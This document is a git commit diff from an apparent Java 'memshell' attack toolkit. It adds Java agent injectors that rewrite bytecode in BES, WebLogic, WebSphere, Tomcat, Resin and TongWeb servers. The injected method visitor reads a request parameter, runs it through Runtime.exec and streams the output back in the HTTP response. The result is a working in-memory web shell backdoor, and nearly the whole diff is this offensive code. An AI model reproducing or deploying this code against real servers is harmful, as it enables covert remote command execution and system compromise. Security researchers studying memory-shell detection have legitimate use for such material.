feat: support other server command agent with asm (#51)

This commit is contained in:
ReaJason
2025-03-30 15:33:31 +08:00
parent 89cd4fef62
commit c93ab0e7e0
28 changed files with 615 additions and 57 deletions
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
private static final String TARGET_METHOD_NAME = "invoke";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesContextValveAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.injector.bes;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public BesFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
}
}
@@ -20,7 +20,7 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
@@ -64,7 +64,8 @@ public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransforme
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
return (MethodVisitor) constructor.newInstance(mv);
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
@@ -20,7 +20,7 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
@@ -61,7 +61,8 @@ public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransfor
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
return (MethodVisitor) constructor.newInstance(mv);
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
@@ -20,7 +20,7 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
@@ -64,7 +64,8 @@ public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransform
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
return (MethodVisitor) constructor.newInstance(mv);
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
@@ -21,7 +21,7 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
@@ -62,7 +62,8 @@ public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransfo
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
return (MethodVisitor) constructor.newInstance(mv);
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
@@ -21,7 +21,7 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
@@ -65,7 +65,8 @@ public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransfor
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
return (MethodVisitor) constructor.newInstance(mv);
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class WebLogicServletContextAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "weblogic/servlet/internal/WebAppServletContext";
private static final String TARGET_METHOD_NAME = "securedExecute";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public WebLogicServletContextAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new WebLogicServletContextAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at weblogic.servlet.internal.WebAppServletContext.securedExecute");
}
}
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.injector.websphere;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public WebSphereFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
}
}
@@ -11,17 +11,39 @@ import org.objectweb.asm.Type;
*/
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) {
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argumentTypes;
}
@Override
public void visitCode() {
super.visitCode();
int startIndex = 1;
for (Type type : argumentTypes) {
startIndex += type.getSize();
}
// Explicitly define indices for all local variables
int paramNameIndex = startIndex;
int cmdIndex = startIndex + 1;
int processIndex = startIndex + 2;
int inputStreamIndex = startIndex + 3;
int outputStreamIndex = startIndex + 4;
int bufferIndex = startIndex + 5;
int lengthIndex = startIndex + 6;
int exceptionIndex = startIndex + 7;
// Access method arguments - adjust based on whether method is static or not
int requestIndex = 1; // Arg index 1
int responseIndex = 2; // Arg index 2
// Define our parameter name
mv.visitLdcInsn("paramName");
mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3
// Define labels for try-catch
Label tryStart = new Label();
@@ -35,7 +57,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
mv.visitLabel(tryStart);
// Get the parameter from request: request.getParameter(paramName)
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param)
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
@@ -49,39 +71,39 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke the getParameter method
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
// Check if cmd is not null
mv.visitVarInsn(Opcodes.ALOAD, 4);
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
Label ifNullLabel = new Label();
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5
mv.visitVarInsn(Opcodes.ASTORE, processIndex); // Store Process in local var 5
// Get input stream: InputStream inputStream = exec.getInputStream();
mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process
mv.visitVarInsn(Opcodes.ALOAD, processIndex); // Load Process
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
"()Ljava/io/InputStream;", false);
mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex); // Store InputStream in local var 6
// Get response output stream
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param)
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response (second param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getOutputStream");
@@ -89,18 +111,18 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex); // Store OutputStream in local var 7
// Create buffer: byte[] buf = new byte[8192];
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex); // Store byte[] in local var 8
// While loop to read and write data
Label loopStart = new Label();
@@ -110,22 +132,22 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
mv.visitLabel(loopStart);
// Read data: inputStream.read(buf)
mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex); // Load inputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
"([B)I", false);
mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex); // Store length in local var 9
// Check if length == -1
mv.visitVarInsn(Opcodes.ILOAD, 9);
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitInsn(Opcodes.ICONST_M1);
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
// Write data: outputStream.write(buf, 0, length)
mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex); // Load outputStream
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex); // Load buffer
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex); // Load length
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
"([BII)V", false);
@@ -151,7 +173,7 @@ public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
// End of catch block
mv.visitLabel(afterCatch);